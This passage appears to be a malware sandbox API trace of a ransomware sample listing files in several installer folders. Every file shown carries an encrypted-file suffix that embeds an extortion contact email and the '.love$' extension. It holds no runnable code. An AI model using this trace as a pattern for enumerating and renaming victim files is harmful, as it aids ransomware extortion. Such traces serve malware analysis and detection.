FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7bdd2e3, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7bdd2e3, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7c4f958, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x14516, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.196] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa6ed1c23, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa6ed1c23, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa741d650, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.196] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa6ed1c23, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa6ed1c23, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa741d650, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.196] FindClose (in: hFindFile=0x6d0488 | out: hFindFile=0x6d0488) returned 1 [0223.197] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.197] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa74dc724, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa74dc724, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="1037", cAlternateFileName="")) returned 1 [0223.197] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0223.197] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa74dc724, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa74dc724, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName=".", cAlternateFileName="")) returned 0x6d0548 [0223.198] FindNextFileW (in: hFindFile=0x6d0548, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa74dc724, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa74dc724, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="..", cAlternateFileName="")) returned 1 [0223.198] FindNextFileW (in: hFindFile=0x6d0548, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7bb713c, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7bb713c, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7bb713c, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x1bb4, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.198] FindNextFileW (in: hFindFile=0x6d0548, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7b1e74e, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7b1e74e, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7b1e74e, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x11a86, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.198] FindNextFileW (in: hFindFile=0x6d0548, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa6ed1c23, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa6ed1c23, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa74b5fbc, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.198] FindNextFileW (in: hFindFile=0x6d0548, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa6ed1c23, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa6ed1c23, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa74b5fbc, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.198] FindClose (in: hFindFile=0x6d0548 | out: hFindFile=0x6d0548) returned 1 [0223.199] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.199] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa74dc724, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa74dc724, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="1038", cAlternateFileName="")) returned 1 [0223.199] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0223.200] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa74dc724, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa74dc724, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName=".", cAlternateFileName="")) returned 0x6d0248 [0223.201] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa74dc724, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa74dc724, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="..", cAlternateFileName="")) returned 1 [0223.201] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7c75b66, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7c75b66, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7c75b66, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x1184, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.201] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7c75b66, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7c75b66, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7f70b9c, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x152a6, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.201] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7469af6, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7469af6, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa74dc724, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.201] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7469af6, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7469af6, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa74dc724, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.201] FindClose (in: hFindFile=0x6d0248 | out: hFindFile=0x6d0248) returned 1 [0223.202] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.202] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7d3467a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7d3467a, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="1040", cAlternateFileName="")) returned 1 [0223.202] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0223.202] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7d3467a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7d3467a, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName=".", cAlternateFileName="")) returned 0x6d01c8 [0223.203] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7d3467a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7d3467a, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="..", cAlternateFileName="")) returned 1 [0223.203] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7cf3e7f, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7cf3e7f, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7cf3e7f, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.203] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7d1039a, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7d1039a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7d1039a, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x139b6, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.203] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa750251a, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa750251a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7659958, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.203] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa750251a, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa750251a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7659958, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.204] FindClose (in: hFindFile=0x6d01c8 | out: hFindFile=0x6d01c8) returned 1 [0223.204] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.204] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7659958, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7659958, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="1041", cAlternateFileName="")) returned 1 [0223.204] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0223.204] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7659958, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7659958, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName=".", cAlternateFileName="")) returned 0x6d0248 [0223.205] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7659958, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7659958, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="..", cAlternateFileName="")) returned 1 [0223.205] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7fbcea8, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7fbcea8, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7fbcea8, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x2874, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.205] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7f96d0b, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7f96d0b, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7fbcea8, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x10b86, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.205] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa750251a, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa750251a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7659958, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.205] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa750251a, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa750251a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7659958, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.205] FindClose (in: hFindFile=0x6d0248 | out: hFindFile=0x6d0248) returned 1 [0223.205] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.205] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa767fccb, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa767fccb, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="1042", cAlternateFileName="")) returned 1 [0223.205] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0223.205] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa767fccb, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa767fccb, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName=".", cAlternateFileName="")) returned 0x6d0408 [0223.207] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa767fccb, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa767fccb, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="..", cAlternateFileName="")) returned 1 [0223.207] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa915248d, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa915248d, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9400e9c, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x3274, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.207] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa839cb89, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa839cb89, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa839cb89, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xffd6, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.207] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa754e8ca, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa754e8ca, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa767fccb, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.208] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa754e8ca, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa754e8ca, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa767fccb, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.208] FindClose (in: hFindFile=0x6d0408 | out: hFindFile=0x6d0408) returned 1 [0223.209] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.209] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7ca06b6, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7ca06b6, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="1043", cAlternateFileName="")) returned 1 [0223.209] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0223.209] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7ca06b6, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7ca06b6, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName=".", cAlternateFileName="")) returned 0x6cfe88 [0223.211] FindNextFileW (in: hFindFile=0x6cfe88, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7ca06b6, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7ca06b6, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="..", cAlternateFileName="")) returned 1 [0223.211] FindNextFileW (in: hFindFile=0x6cfe88, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa839cb89, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa839cb89, ftLastAccessTime.dwHighDateTime=0x1d6168c, 